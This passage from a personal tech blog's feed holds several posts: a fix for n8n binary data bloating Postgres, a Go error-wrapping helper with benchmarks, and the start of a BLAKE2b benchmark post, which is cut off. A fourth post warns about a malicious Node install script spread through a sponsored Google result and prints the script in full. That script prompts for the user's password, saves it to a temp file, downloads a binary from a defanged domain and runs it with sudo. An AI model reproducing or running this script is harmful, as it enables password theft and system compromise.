</span></span><span style="display:flex;"><span>    schemaname <span style="color:#f92672">||</span> <span style="color:#e6db74">&#39;.&#39;</span> <span style="color:#f92672">||</span> relname <span style="color:#66d9ef">AS</span> <span style="color:#66d9ef">table_name</span>,
</span></span><span style="display:flex;"><span>    pg_size_pretty(pg_total_relation_size(relid)) <span style="color:#66d9ef">AS</span> total_size,
</span></span><span style="display:flex;"><span>    pg_size_pretty(pg_relation_size(relid)) <span style="color:#66d9ef">AS</span> table_size,
</span></span><span style="display:flex;"><span>    pg_size_pretty(pg_total_relation_size(relid) <span style="color:#f92672">-</span> pg_relation_size(relid)) <span style="color:#66d9ef">AS</span> index_size
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> 
</span></span><span style="display:flex;"><span>    pg_catalog.pg_statio_user_tables
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> 
</span></span><span style="display:flex;"><span>    pg_total_relation_size(relid) <span style="color:#66d9ef">DESC</span>;</span></span></code></pre></div>
<p>Which listed <code>public.execution_data</code> as the one to blame.</p>
<p>How so? Well&hellip; apparently, when you use the <code>Read/Write Files from Disk</code> node in n8n, the data for the run is saved as is in the table, meaning that all executions saved the mp4 file to the database. This is also the reason why the node took so long to execute.</p>
<p>To alleviate this, you should set the env var <code>N8N_DEFAULT_BINARY_DATA_MODE</code> to <code>filesystem</code> as <a href="https://docs.n8n.io/hosting/scaling/binary-data/#enable-filesystem-mode">per n8n docs</a>. Removing the relevant workflow runs from n8n and running a postgres vacuum shrunk the database dump back to 100MB. The step is now also taking seconds, not minutes to complete.</p>
<p>Having this data stored in the database allows for the n8n runs to be repeatable, but doesn&rsquo;t play very nice if you&rsquo;re working with larger files, such as video. I haven&rsquo;t tinkered as much yet, but I guess using the filesystem mode would mean that if you move the file in the filesystem, you&rsquo;re not going to be able to fully reproduce a workflow run in n8n. However, if you are self hosting, working with large files and don&rsquo;t really care about the ability to reproduce a run, it&rsquo;s probably best to use the filesystem mode.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Malicious Node install script on Google search</title>
            <link>https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/</link>
            <pubDate>Mon, 21 Jul 2025 10:00:23 +0200</pubDate>
            
            <guid>https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/</guid>
            <description><![CDATA[ <p>Sometimes I have to install Node on my machine for work, or a personal project. This occurs rarely, so I keep forgetting how to do it. So I did what I usually do, and Googled how to install nvm. To my surprise there&rsquo;s a sponsored result, which immediately triggers a red flag:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="/2025/07/21/Malicious-Node-install-script-on-Google-search/ad.jpg" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_259bb581b1944bb9.jpg 500w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_81712e1a7b7f5876.jpg 800w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_ddd425709bdc955f.jpg 1200w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_a02c6b574f82c73b.jpg 1500w'
  src="/2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_ddd425709bdc955f.jpg" 
  alt="The sponsored google search result">
</a>
</div>
<p>This link leads to a repo in Github. It has the following readme - I&rsquo;ve omitted the domain and path:</p>]]></description>
            <content:encoded><![CDATA[ <p>Sometimes I have to install Node on my machine for work, or a personal project. This occurs rarely, so I keep forgetting how to do it. So I did what I usually do, and Googled how to install nvm. To my surprise there&rsquo;s a sponsored result, which immediately triggers a red flag:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/ad.jpg" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_259bb581b1944bb9.jpg 500w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_81712e1a7b7f5876.jpg 800w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_ddd425709bdc955f.jpg 1200w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_a02c6b574f82c73b.jpg 1500w'
  src="https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/ad_hu_ddd425709bdc955f.jpg" 
  alt="The sponsored google search result">
</a>
</div>
<p>This link leads to a repo in Github. It has the following readme - I&rsquo;ve omitted the domain and path:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/readme.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2025/07/21/Malicious-Node-install-script-on-Google-search/readme_hu_15403e9d9b38245d.png 500w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/readme_hu_3b3440230f0fd486.png 800w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/readme_hu_4c1e9832c9306265.png 1200w,
  /2025/07/21/Malicious-Node-install-script-on-Google-search/readme_hu_23c848a1a7f940f5.png 1500w'
  src="https://dizzy.zone/2025/07/21/Malicious-Node-install-script-on-Google-search/readme_hu_4c1e9832c9306265.png" 
  alt="The readme of the repo">
</a>
</div>
<p>If we look at the script in question:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>whoami<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> true; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>  echo -n <span style="color:#e6db74">&#34;System Password: &#34;</span>
</span></span><span style="display:flex;"><span>  read password
</span></span><span style="display:flex;"><span>  echo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> dscl . -authonly <span style="color:#e6db74">&#34;</span>$username<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;</span>$password<span style="color:#e6db74">&#34;</span> &gt;/dev/null 2&gt;&amp;1; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>    echo -n <span style="color:#e6db74">&#34;</span>$password<span style="color:#e6db74">&#34;</span> &gt; /tmp/.pass
</span></span><span style="display:flex;"><span>    break
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;Incorrect password! Try again.&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>curl -o /tmp/update https://some-other-domain.nonexisting.definitely.does.not.exist.localhost/njs/update &gt;/dev/null 2&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;</span>$password<span style="color:#e6db74">&#34;</span> | sudo -S xattr -c /tmp/update &gt;/dev/null 2&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>chmod +x /tmp/update
</span></span><span style="display:flex;"><span>/tmp/update</span></span></code></pre></div>
<p>It prompts for your pass, stores it in a file and downloads a binary. It then executes that binary and your system is compromised.</p>
<p>This attack seems to target quite a few google keywords, as I&rsquo;ve tried other queries related to installing Node and quite a few of them show the sponsored malware.</p>
<p>I&rsquo;ve reported the repository and the ad as malicious and hopefully Github/Google will take it down. Nevertheless - it serves as a reminder that it&rsquo;s as important as ever to stay vigilant and never execute arbitrary scripts on your machines. Stay safe!</p>
]]></content:encoded>
        </item>
        <item>
            <title>Wrapping Go errors with caller info</title>
            <link>https://dizzy.zone/2025/07/10/Wrapping-Go-errors-with-caller-info/</link>
            <pubDate>Thu, 10 Jul 2025 20:35:59 +0300</pubDate>
            
            <guid>https://dizzy.zone/2025/07/10/Wrapping-Go-errors-with-caller-info/</guid>
            <description><![CDATA[ <p>I find Go&rsquo;s error handling refreshingly simple &amp; clear. Nowadays, all I do is wrap my errors using <code>fmt.Errorf</code> with some additional context. The pattern I tend to use most of the time just includes a function/method name, like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">someFunction</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">someStruct</span>{}.<span style="color:#a6e22e">someMethod</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;someFunction: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">someStruct</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ss</span> <span style="color:#a6e22e">someStruct</span>) <span style="color:#a6e22e">someMethod</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;someMethod: %w&#34;</span>, <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;boom&#34;</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>If I now call <code>someFunction</code>, the error - when logged or printed - will look like this: <code>someFunction: someMethod: boom</code>. This gives just enough context to figure out what happened, and where.</p>]]></description>
            <content:encoded><![CDATA[ <p>I find Go&rsquo;s error handling refreshingly simple &amp; clear. Nowadays, all I do is wrap my errors using <code>fmt.Errorf</code> with some additional context. The pattern I tend to use most of the time just includes a function/method name, like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">someFunction</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">someStruct</span>{}.<span style="color:#a6e22e">someMethod</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;someFunction: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">someStruct</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ss</span> <span style="color:#a6e22e">someStruct</span>) <span style="color:#a6e22e">someMethod</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;someMethod: %w&#34;</span>, <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;boom&#34;</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>If I now call <code>someFunction</code>, the error - when logged or printed - will look like this: <code>someFunction: someMethod: boom</code>. This gives just enough context to figure out what happened, and where.</p>
<p>I thought to myself - this can be wrapped in a helper function, to automatically take the caller name and do this wrapping for me.</p>
<p>Here&rsquo;s an implementation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">WrapWithCaller</span>(<span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">pc</span>, <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">runtime</span>.<span style="color:#a6e22e">Caller</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;%v: %w&#34;</span>, <span style="color:#e6db74">&#34;unknown&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">runtime</span>.<span style="color:#a6e22e">FuncForPC</span>(<span style="color:#a6e22e">pc</span>).<span style="color:#a6e22e">Name</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">pkgFunc</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">Base</span>(<span style="color:#a6e22e">fn</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;%v:%d: %w&#34;</span>, <span style="color:#a6e22e">pkgFunc</span>, <span style="color:#a6e22e">line</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>We can now use it like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">someFunction</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">someStruct</span>{}.<span style="color:#a6e22e">someMethod</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">WrapWithCaller</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">someStruct</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">ss</span> <span style="color:#a6e22e">someStruct</span>) <span style="color:#a6e22e">someMethod</span>() <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">WrapWithCaller</span>(<span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;boom&#34;</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>And it will return the following: <code>main.someFunction:45: main.someStruct.someMethod:52: boom</code>. Keep in mind that this will have performance overhead:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Benchmark_WrapWithCaller</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;boom&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> &lt; <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">N</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">WrapWithCaller</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Result:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Benchmark_WrapWithCaller-10    	 2801312	       427.0 ns/op	     344 B/op	       5 allocs/op</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">Benchmark_FmtErrorf</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;boom&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> &lt; <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">N</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Errorf</span>(<span style="color:#e6db74">&#34;FmtErrorf: %w&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Result:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Benchmark_FmtErrorf-10    	13475013	        87.19 ns/op	      48 B/op	       2 allocs/op</span></span></span></code></pre></div>
<p>So it&rsquo;s 4-5 times slower than a simple wrap using <code>fmt.Errorf</code>.</p>
<p>One benefit of using <code>WrapWithCaller</code> is that refactoring is easier - you change the function/method name and don&rsquo;t need to bother yourself with changing the string in the <code>fmt.Errorf</code>. The performance hit is likely not an issue for most programs, unless you&rsquo;re wrapping tons of errors in hot loops or something like that.</p>
<p>I&rsquo;m a bit torn if I want to add this helper to my codebases and use it everywhere - seems like an extra dependency with little benefit, but I&rsquo;ll have to give it a spin before I decide if this is something I&rsquo;m ready to accept. Time will tell. Thanks for reading!</p>
]]></content:encoded>
        </item>
        <item>
            <title>BLAKE2b performance on Apple Silicon</title>
            <link>https://dizzy.zone/2025/03/27/BLAKE2b-performance-on-Apple-Silicon/</link>
            <pubDate>Thu, 27 Mar 2025 14:02:13 +0200</pubDate>
            
            <guid>https://dizzy.zone/2025/03/27/BLAKE2b-performance-on-Apple-Silicon/</guid>
            <description><![CDATA[ <p>For work, I was going to store some hashed tokens in a database. I was going to keep it simple and go with HMAC-SHA256 for it but having recently read Jean-Philippe Aumasson&rsquo;s book &ldquo;Serious Cryptography&rdquo; I remembered that BLAKE2 should be quicker:</p>
<blockquote>
<p>BLAKE2 was designed with the following ideas in mind:<br>
&hellip;<br>
It should be faster than all previous hash standards</p></blockquote>
<p>Cool, I thought, let&rsquo;s consider BLAKE2 then. First, let&rsquo;s write a simple benchmark to see just how much faster BLAKE2 would be than HMAC-SHA256. Performance is not important for my use case as the hashing will almost certainly not be a bottleneck but I was curious. So I write a benchmark:</p>]]></description>
            <content:encoded><![CDATA[ <p>For work, I was going to store some hashed tokens in a database. I was going to keep it simple and go with HMAC-SHA256 for it but having recently read Jean-Philippe Aumasson&rsquo;s book &ldquo;Serious Cryptography&rdquo; I remembered that BLAKE2 should be quicker:</p>
<blockquote>
<p>BLAKE2 was designed with the following ideas in mind:<br>
&hellip;<br>
It should be faster than all previous hash standards</p></blockquote>
<p>Cool, I thought, let&rsquo;s consider BLAKE2 then. First, let&rsquo;s write a simple benchmark to see just how much faster BLAKE2 would be than HMAC-SHA256. Performance is not important for my use case as the hashing will almost certainly not be a bottleneck but I was curious. So I write a benchmark:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;crypto/hmac&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;crypto/rand&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;crypto/sha256&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;testing&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;golang.org/x/crypto/blake2b&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BenchmarkHashes</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">token</span> <span style="color:#f92672">:=</span> []byte(<span style="color:#e6db74">&#34;some-api-token&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">secretKey</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">generateSecretKey</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">ResetTimer</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#e6db74">&#34;HMACSHA256&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">HMACSHA256</span>(<span style="color:#a6e22e">token</span>, <span style="color:#a6e22e">secretKey</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#e6db74">&#34;BLAKE2b&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">_</span> = <span style="color:#a6e22e">BLAKE2b</span>(<span style="color:#a6e22e">token</span>, <span style="color:#a6e22e">secretKey</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">generateSecretKey</span>() []<span style="color:#66d9ef">byte</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">key</span> <span style="color:#f92672">:=</span> make([]<span style="color:#66d9ef">byte</span>, <span style="color:#ae81ff">32</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">rand</span>.<span style="color:#a6e22e">Read</span>(<span style="color:#a6e22e">key</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		panic(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">key</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">HMACSHA256</span>(<span style="color:#a6e22e">token</span> []<span style="color:#66d9ef">byte</span>, <span style="color:#a6e22e">secretKey</span> []<span style="color:#66d9ef">byte</span>) []<span style="color:#66d9ef">byte</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">h</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">hmac</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">sha256</span>.<span style="color:#a6e22e">New</span>, <span style="color:#a6e22e">secretKey</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">Write</span>(<span style="color:#a6e22e">token</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">Sum</span>(<span style="color:#66d9ef">nil</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BLAKE2b</span>(<span style="color:#a6e22e">token</span> []<span style="color:#66d9ef">byte</span>, <span style="color:#a6e22e">secretKey</span> []<span style="color:#66d9ef">byte</span>) []<span style="color:#66d9ef">byte</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">hasher</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">blake2b</span>.<span style="color:#a6e22e">New256</span>(<span style="color:#a6e22e">secretKey</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">hasher</span>.<span style="color:#a6e22e">Write</span>(<span style="color:#a6e22e">token</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">hasher</span>.<span style="color:#a6e22e">Sum</span>(<span style="color:#66d9ef">nil</span>)
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Run it and the results are:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cpu: Apple M1 Max
</span></span><span style="display:flex;"><span>BenchmarkHashes/HMACSHA256-10         	 3442680	       341.0 ns/op	     <span style="color:#ae81ff">512</span> B/op	       <span style="color:#ae81ff">6</span> allocs/op
</span></span><span style="display:flex;"><span>BenchmarkHashes/BLAKE2b-10            	 1966382	       584.0 ns/op	     <span style="color:#ae81ff">416</span> B/op	       <span style="color:#ae81ff">2</span> allocs/op</span></span></code></pre></div>
<p>OK&hellip; So BLAKE2 is slower than HMAC-SHA256. Yes, we have less allocations which is nice, but it does take quite a few more CPU cycles. My first thought is that it might indeed be faster but only if the input is like way, way longer. So I switch to the following token:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>	<span style="color:#a6e22e">token</span> <span style="color:#f92672">:=</span> []byte(<span style="color:#a6e22e">strings</span>.<span style="color:#a6e22e">Repeat</span>(<span style="color:#e6db74">&#34;some-api-token&#34;</span>, <span style="color:#ae81ff">10000</span>))</span></span></code></pre></div>
